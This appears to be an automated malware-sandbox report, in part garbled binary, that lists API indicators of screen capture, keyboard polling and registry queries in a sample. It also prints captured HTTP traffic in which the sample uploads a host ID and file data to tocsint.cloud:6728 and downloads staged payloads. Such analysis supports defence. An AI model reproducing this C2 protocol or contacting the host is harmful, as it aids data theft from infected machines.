bîIÀITkµ¼Ú.Ë¡ê¹RhÊñ[IL[ð§\KãÃv¨`Ä^Ö·¦±-¸óù¦·ÎªÆÓè#/MB³HsR<ÒäËÊµ|zIÍ®!ÐÝ.Sñ2d¡0ÁðZÈÄTd¯Q ð³±ã¸@oqT<0çóòÍâáR&cXY½Beð¸òæyöPçe×NôõWÍ{tª#¤õ)ÞJÖ.ÁÏS3þ!Ðlaõ×82*_!çUÙ©pvóìßE^\ÐÔ_èxÝåÝÕ újk Ò©¶VµüçRÎa1Å*@2¼õëXL1?A¡vVÙÿoHþêº%SÎÖ«QjÍ#§g@'7ÉñSò»H°°Ý-®àø8½ýN"¹i<ñó4{!¦]¹Íÿ÷§gÀ#/¦ö!E`úp'jÆ@¾DGuá¤)ù«Ç ZojªÙkqd;åT,¨à¬\÷ÛGjÚQÁ/³>¿ä%|ÖÛgüöX;^ÿõ5´SèJ¬ê2¤Å4óÙ*"BNÖÏ¿Øö²¾K"y:êù¤ðiÚ¬¤h-@ãxæ/Òõÿ¶JØª='Nôbu ¿Êy×û@Þ×¦7' ¦óêÓ]Q\ñ+ÜnîTÁ% !ïó±LÒKem°ø<þý[ª{»¬¼Èrh;á.ï?¡]43N!EUæó¢ï1"ÿ&1g¿ò/H`%©J% 4 ]åEOMñY8ÈÜ»ËZ®JX¦}|vØÉ` s·±6î§_2¨rÛb!vshèË:h±{(å\Ïm1VS96c ûWy£*í¹¥à£lÅÁß[f¨¿d.°Oã¸é«uM÷/À¹µ¯ÑÒÊíþI|rA`½±Vh½t:ubq°+ÁG6>üx4â0\Ê£ëPxÓÃ<«n¶ì£¢.¢§K7ÕÛÁÛPªVÙ¹"EF¶ É$Züîþ;i2K*Ú¦Â² A©&Qy,îÇZkÈ±cóÌªw·£m4 "tîfÌ^6"Ñ£B&¸DmÎ+¨&¦<]¹TÊ*mLyÝÇé7A¢k¶ôCÃ[lófb#À>ÕNE/XUé¶+d®éÏpÓT ºÂOø±ÎÊ2ü)F@¼ùÈìÛ'«£ÈíoÉQÚuKJ¨màSáÈKÿCÝ_óU»çX`Ó3Öaõ¤\eAÊéÌP«ú%t-*È2pXØÿÙ=S zFYiÏU·3Ûh6¡lé®àø¸}#{ë÷½]-ÚæÁçzð(®tÖ_´Ë=\cD^üôú)êSûÙ4¹4&²¹¨Þ%üBÂ.VvLÚÍüywVõÀS¹pJÏ;©øèùæô^sÄÚ$Èa{Ñï?Ç/hªÙ=/lÚå1f»úÐDÅWÙ2Ø¸>þ\ììàdÍböK²G¿sÌîkl!Òí3¿Ïìòh4tØ÷»jIfzCô[>ÙR, 1ì0¸lgc%³þd¾NyãR$©©>ÓâÇÇhµ@0|3á4¹ãn¿ß\¤!Rc¾5§µû©ÄAp¥n{Sí)(hÈÌjcÛÇ¾ßxÒÒ%ãîãî¼h5ø-¯!X,.ÓÅeÜô®á¿jw> US¨{,S?!¡©[§^ì¹ö±Âÿâ#°Q´)¹å³áWÎ×,]¤*s/å¤U ¯q ¼gdòéÈ¨¶éìfZX³#1+R¡Ú+V*zúCÑ=z *OÔ4ÂºÄ(xæ)ÌúysB¡7jV|IMZoÑ"&ÞßFøÀolrìIÔ¶ù`ü.÷aTºª:QJ=i"hÄa1ÛGÕùc²-Y9ígN'ôof`ªÊMiE+Pÿo¶V*ÂD»:O-Úw°ÍP¸·X\(á$½xÞþ)èÍE¢Z»¬&ÈqhÏý=å.eiI;mñJØÇDo$#bÒÎÖ²çYî:bcÏ¬~Î¬0àw¤f¥§ØúfÓ-eðæ`!óòj1Åþ+/¢#ö¾µ¢äo>>Ìò±{]ûëxD(y²rÕ ëÆ[*µ3ß°}`OßÒæ¤1}Ôcé;®áèO¥1¡cCÿMÇ+¦C!.åªaÀø"õîÐT,cäªCØ/x``ëê¼TÎ%8.¡hUárw{ÊLcË>8²È*<ãS7×ö=Ýw;6ÖÇÔ¿M¸_þÝFgdí¨«$²r'±-²uRÞjZÓ5¶ <ì£a^ÖÂôl¶]ßóKD6lO%[¶VåÖðr.3Á ?°tUÆ¯2ájçÛ¿]#3iº7ÑÇìpÖIlq%öQ¥0ªJée/W¡²º{÷°a0eÉ;ÊWöÎP°hHòÍEN³¼ ÿ«¿6§,Llõ3ìË}ÐºùUhòÖ$²Ñú£[çòeÈ+¾a·¶ÓZnf¢«¥çÑNäf¯0ÛBPÚî¸0aôPÿß§ÚÆ:åÎ¦J97kî´gKíT´r'ÃÈÔ.v]I$×õ¼úÒCwïÜ1´ìåBë ÆQ|ô®5oºøÆÏç¤ý4ù¯Ë!¯ÈÜ÷1?%*Þ|Vj' C¾3*!9hQªYá°©âkZ±©JL)åc"(Æg\kÆÏ=$nö64oSÁºÊ#£böÙ§Hñê~³´ä×<¬öYe}Ñ76õ-3×Ñ«÷5@/zµû[fµï4Îü-þÂMß"üºäR?ËE`Ø'aÝã¢AC»=Ü&ÃÔáÇ³UBÃKÀmsôø¾F{Áà´û|U}#ð±,êär-XWb×½`zÙùe¡â6B©r¬]dÎö@\X!°$¤9sO-^ÀÛÝ($Nñ×ãAe²v]¢jËöß¥_¢¶Î9xeYqnq`«¥Ô]zõâ ³¢ÿ(¸$ÔlQR8 ðë3\Ãì}¶FÜò¢À)èUÉF*Xpo2íãÉOlµþñ°ñ|/ÑSGvS6àøä¸i#"²VHÀcÇùD@°õé)ÖKÏU·>Ð¢®?ÅIN}×©MÖêÉ§PAÍcvc´¹íÇm`&#T¦ÕÂ8S5¯lQ>7Üý,ÙH*¼sø&qõù'$ÜÄ$É:W[®÷;¸*GÜd]#_^ç7÷h Ï¼®}uû~ÜJá$1¢½ÍypÅùCjµ½À¤Qm¨4Õ÷ºXæI¹e8*íq¦Ô §kÜ.*øeIÿ®¢(s`nÍa«#F@ße¼ÜÍ¹CjãÝ§¥AË´"¦0GYm"$·þ¾ðÑÈºêtEµãHùÑ~ìÊ5æÑo£a'§Äõ!ìdæJj¹ä¡6$Ì³/ïýÎ¯ç|4<Ã¦ßúh/v_°D÷72ýÓ>R¢;¼$ùÆ¹Õ]{=RGå¡@sÅÛ®O)»²*ïXQR0[ûrÓ&¬¥«sûoA*ÙlcÉ¹noÓ_¥ÈLÁó6å¢·Â^JÂëù»S¡ð.Ôñ¯Zúøûçû7[-@s*â¼2w<&Óµ `FM=¯å~Ï^\lËýQJ-ùÑ0âqõ¶Jô{Sâ{ÞÒs.¼a³¿üÕDú¾gëÑÉ{»Ç9 ÚcH¦@#Ô ¥1Õéú¸ÕÃ»z/Gk÷»þ ®¾?BTÈoÇ¢NiÍ×.xJíß÷å">@©â«Jh¸6éþR~2:`ÒûÜ~Eë´ä%®Äüö3£éì5*<¾¸v|¼ ^ú±Ìçq¶Tu×ìW3aHâ.Ú¬8ÞyàüÇ¶ÈøðÖFÌÙýsÜ©t®(D´p¹òwðäÒ!4AÁìKv%,Ç©ÿã#É@¬Ü¾R¹¢.Ç<ßÈoLvfú»VÐÞ¼T3ëP¥ =ÕÆÅ»p5H7O§¯¦ÌWq:ë0Ï3>¶7úÎo%Lß91sÇ»Lf·TÒ¥(UNÈëª©¾1e6J¤ÕCþïQëó´e2Å[@±áìÿ["¿`ÛÓdÇ¹Lû4~°n^)4nJ5×ée¸(ø6{S´®ÙWDr×âäù®C¼y=N,¹åQÔ1#ÊªãZYòÉQß¥ËT'ØC 4ÕþZý-O'köQwÂ%´W¾¢ê÷ßìÍßºÇæªµ6:gR|Ç¶LNPï»jõüÔç©h÷¸'RóªáiÓH½±xZÓVK®vðãõ,;<Ü¥ËôsåZà3:ÃÕ>~ÏàÖg¢DõÞ¡É>é¹ïå¿Ì6î¾G÷%CruÇ=w3ç^Ó*ÚKD2JÅô9ø":F®¤ãÜÚ¹RXZf7@52§_\yþx:a'é[´$ÙG5ïI";n¤ÈdíØ¯Goº7Ä} Ã¨ç¥vèJqkü¿óÒûÀÛSßé¥/¼Ò:(ûJòr(C ¡~zv(®Ì$8mW¼ ¡«>k,iÈ1QÑE³×æ8¢Uã,õ»4øÆÅJ¦Oó#@(åpßÝH#SJ¦£KQKÖÁçød}ü¼À´$nWe58o7ÆÍë;¯Ên»¿ÿa+ÂÌ(ÒGrÛv~%òGWñB§Ãºãïä/yöGÃÅ /;âË¼ä¸ä÷NE¥¬¦A½?óïLm"E¶LÊígÅ#Rl×ótÙ{3~dª¢jÜ!]n0Ìu¥º9M¶0$ Í¸ø«xðÑHÈ2Ý^KÅ»ÑySÆ:÷ç/`fòÊÿ×IØ8ÔÐåÞÞTØò&ßrÌ¹ÃEÌ?í'Q=A-êg]Cû4ÍB.².13Iø7whïÂnªöYK0Lâ@M^ç¼Äg§Ú4öùéLSªëfq°¦2of]T©ALÎ£×Îþ+2`\<¯¨5åêÃeøK¸U©ùV``X v&±(.Öª}.³íÞ¯m|kº Ì(ºB¬+_ß;êµ1%!ë/!Oª±*¯µ¹ªT)Ø$1uÀRlÉ£<¡vÑÑ/fmé¥ß±L"éÍÒ®;ÜGP(ïsçñ)8¾ôîh'$ºPÔ©Ù hË8_Ö²v<ª)öE~\U¢fê[¶FKx×yÛÁ22ç&©þ7vÝàÛuJ¡]cJFîÅ[ú2°DµöúIÓ¯PÉQÁ¢úJëtpÁç,ÍÅÂ+Æ²QM#/Á©ð:1Ý>Îr=mÁ^LpJD4]c¦¼|êÇäéW\ò¹1/¤ª¸·¬ø¥È_RfÆvðA39yv±»ÒD]¾{«gJ£óÃ}%wJBßN`wÚTæy*ZÕ¯á¥®Rg!úMÝF¹¦Fâ¼Ö?¨~Ç´íÑ;^ìUun'¤¨¯¤8T®3Ûp$ÔÔ8`ál)mAÙÏ~ýs4·À¡vÚ\Ç1ã\»[nÛ^|Û£F0L}C®jäG¤É¾x ÊõS²·ÍsÍ¸0¬Ü$X\Þ}èÔhñ?:ÈëKÊu£¡<]§~ó¿ìTÌtÜÚe@«çßòl³íÚèÉV3þDÅ²lÛhîê]w4"9ô¾»Õû@ó=èÿ¿+ »(Òó·$±!Ð4zç#Ô¦åHó2xE ÔP(Y²Ýu©^ÅÔJ !yÛHÚlüVUÆµ¸´³Wä]ª.1n&*&{Õ^âåzÛÝåúËºäEÃÏØ.ôKSºyÜùmGXLú§uÔ³Ýc%À|qÈ¨ÂeKLÂõ¶EÎ=Y3>[^´«$¡'s[:¸ÑKs_éØ©QÌRÁ§è²¹Xÿßp¦þj³7lê0xñÁ¹Yµ> ñYZ#°@Ó;A-Ê¨©tÇ"; File: "PCAP")40:T478,Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "gethostname" (Indicator: "gethostname"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "inet_addr" (Indicator: "inet_addr"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "inet_ntoa" (Indicator: "inet_ntoa"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin")41:Tb5c,Found reference to API "GetDC" (Indicator: "GetDC"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp, 00000000-00004240.00000001.289171.419D6000.00000004.mdmp, 00000000-00004240.00000001.289171.41BA5000.00000004.mdmp, 00000000-00004240.00000002.291091.419D6000.00000004.mdmp, 00000000-00004240.00000002.291091.41BA5000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp, 00000000-00004240.00000001.289171.419D6000.00000004.mdmp, 00000000-00004240.00000001.289171.41BA5000.00000004.mdmp, 00000000-00004240.00000002.291091.419D6000.00000004.mdmp, 00000000-00004240.00000002.291091.41BA5000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp, 00000000-00004240.00000001.289171.419D6000.00000004.mdmp, 00000000-00004240.00000001.289171.41BA5000.00000004.mdmp, 00000000-00004240.00000002.291091.419D6000.00000004.mdmp, 00000000-00004240.00000002.291091.41BA5000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp, 00000000-00004240.00000001.289171.419D6000.00000004.mdmp, 00000000-00004240.00000001.289171.41BA5000.00000004.mdmp, 00000000-00004240.00000002.291091.419D6000.00000004.mdmp, 00000000-00004240.00000002.291091.41BA5000.00000004.mdmp") Found reference to API "CreateDCW" (Indicator: "CreateDC"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp")42:T504,Found registry query API: "RegOpenKeyExA" in file "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin" Found registry query API: "RegQueryInfoKeyA" in file "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin" Found registry query API: "RegQueryValueExA" in file "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin" Found registry query API: "RegEnumKeyExW" in file "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin" Found registry query API: "RegQueryValueExW" in file "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin" Found registry query API: "RegEnumValueW" in file "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin" Found registry query API: "RegOpenKeyExW" in file "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin" Found registry query API: "RegOpenKeyExW" in "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp"43:T902,Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp")44:T4c8,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00004240.00000001.289171.0F71C000.00000002.mdmp")45:T4a8,Found string "#$$&.0039;<@CGHLKPQXRY[bX_bk[dgq[fisYehsUaesO\`mHUXd@LP[7CFQ.9 "access_token=&debug=http://tocsint.cloud:6728-74" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:28 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: tocsint.cloud:6728" with payload::==> "tag=68c185e5f8cc6ed0cda697d3444b08c6&hwid=a16a935508eeb3c5106903fb17b9d9df" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:28 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-aBiulLDy5N+5RYMkkVH0sl0TuA4" with response body ==>C2A6C38225C28EC38DC389C28FC3912E1919C2BBC395C2A207C38C01C3A5C38BC397C3AC1D595A7CC29EC3AB591BC3A5C38EC39B43C28BC2BDC3877D3F125CC2....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 85 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=http://tocsint.cloud:6728-885" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:29 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=9mBL7oZNJwc6aPc User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 885 Host: tocsint.cloud:6728" with payload::==> "--9mBL7oZNJwc6aPcContent-Disposition: form-data; name="access_token"bd153807-667a-4378-a460-26733a2eeea5--9mBL7oZNJwc6aPcContent-Disposition: form-data; name="type"0--9mBL7oZNJwc6aPcContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-stream*µ±«r·'PHÚÿ¯8$L;X?ã* Æ¥¤¡]Üg^+ÍÛPsÈ8C÷~º¬Mu¶&¥Øt#JÜxú<Þh8¨Ñoªc½lªVæwáìõ{£î9ûk¿)Pçá çha¬Lr°§mQð§þðoJÊ,B[±¿ðz¬KÄfà`Ã.2FZot&V@¶ûÃ,ÊÜíD+Iï3X ðzàAu¶2²¡¼!cæÇÆä0DÞÊ]ÿBÍz~[ò:ãÞU;ÚQCqË8dôoÈ4Jø÷}©IÌ¬¹2¤`mË³;áÀ¸Íz¤oÉHí)¸qà?Òô â§¡U^ø¾0¦Î;ß*³ëcEÝBb]ð¢÷GOZt|DÄ_ªÇ,.ñòçqhÌ,^"çÚ*}\±iÍnð2ÌÊ¡³#jåòÙìÍmÓpS'Ì.:97qÚZÿbUgÃ$¼tÝ£`ã§b&o5 z%À+ñlÖ²¨¸+¹*"´~ÌBx`À¨TùÃ_Ç:Ù¤ÞßgÚCðËÿ3>Ì@LÕØß2¿vhöðÜâbQ$ $h½ógG@K:ÀùD;ÊÊ -,_Ý3ë:7F¾æý~--9mBL7oZNJwc6aPc--" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:29 GMT Content-Length: 8 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true with response body ==>7265636569766564....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 84 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=http://tocsint.cloud:6728-56" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:30 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&step=1" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:31 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-0UpQ0YKhvu0LrWOYQqD2vzTDCsQ" with response body ==>1F326E19734526C3ABC3B03040C2B6C38AC2847BC2A8C3B8C291C2A8C392C2A6C2A9227BC3B016C39EC28AC2AD69C2BDC3AAC384C3867E2120C3A43F0F00C3BC....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 84 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=http://tocsint.cloud:6728-56" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:31 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&step=2" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:32 GMT Content-Type: application/octet-stream Content-Length: 5923 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1723-eZyRLkx+pFRpiggtS1omQaYWqq8" with response body ==>194B58C38418C2AFC394C2AFC2993360755166C39CC3A5C2A223C2BAC28846C28F6B2A1539C39670C3A4C3B2C38753356D5BC3B0C2A83DC2AF73C289C2B571C3....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 84 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=http://tocsint.cloud:6728-56" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:33 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&step=3" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:34 GMT Content-Type: application/octet-stream Content-Length: 44334 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"ad2e-u+g01qMtfzUh8UKe1TtbJz5Uym8" with response body ==>7716C2A71832C3950B3CC3BC35C38E6CC2AFC3B77EC28F3E24C3A73FC3A46D6AC38F3C11C39FC395C299284BC29BC29259C2895C7A4D1A4716C2A8C2A0C3BB16....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:35 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 